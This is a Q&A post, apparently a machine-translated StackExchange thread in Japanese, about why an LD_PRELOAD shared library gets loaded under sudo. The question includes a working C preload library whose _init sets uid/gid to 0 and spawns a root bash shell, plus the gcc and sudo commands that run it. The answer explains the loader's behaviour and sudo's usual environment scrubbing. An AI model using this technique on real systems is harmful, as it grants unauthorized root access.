だから私は動的ライナー(dl)のプリロード機能と、それがリンクされている他のすべての共有ライブラリをリンクする前に、LD_PRELOAD環境変数を使用してカスタム共有ライブラリ(.so)をロードするために使用できる方法について読みました。 。実行可能ファイルがロードされます。私は権限上昇の文脈でそれを読んだ。アプリケーションがロードする内容を制御できないのはなぜですか?
次のコードを生成してコンパイルしました。
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init()
{
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
その後、実行するとsudo LD_PRELOAD=/tmp/preload.so /usr/bin/find
ルートシェルが作成されます。示されているとおりに実行できることを知っていますが、find
偽sudo
の共有ライブラリから不要な関数が呼び出される理由はわかりませんfind
。または、リンカがアプリケーションに必要かどうかを確認せずに、環境変数で指定されたライブラリのみをロードしますか?
誰かが私の混乱を解決するために答えることができればいいでしょう。
ありがとうございます!
ベストアンサー1
リンカはアプリケーションに必要かどうかを確認せずに、環境変数で指定されたライブラリをロードするだけですか?
はい、それがポイントですLD_PRELOAD
。そこにリストされているライブラリはプログラムの前にロードされます。LD_PRELOAD
プログラムの動作を変更する方法です。
findに関数が必要ないのに、偽の共有ライブラリの関数が呼び出されるのはなぜですか?
_init
プログラムの開始初期に実行します。動的ローダーはそれを呼び出します。 findのソースコードでは明示的に呼び出されません。例を見るmain() 以前に起こったことの一般的な概要またはLinux x86プログラムの起動またはLinuxでmain()を実行する方法。
呼び出されない関数の定義をプリロードする場合、定義は重要ではありません。
アプリケーションがロードする内容を制御できないのはなぜですか?
通常、ユーザーは何をしたいのかを実行できます。ユーザーが実行するすべてのコードは、そのユーザーの権限で実行されます。制御は特権が上昇した場合にのみ必要です。
Sudoは高い権限を許可します。したがって、通常、sudoルールを設定するときに管理者が実行したくない操作をユーザーが実行できるようにする機能を無効にします。特にsudoは、ほとんどの環境変数、特にLD_LIBRARY_PATH
sudoとLD_PRELOAD
。脆弱なsudo構成を含むシステムを使用しています。これはデモ用です。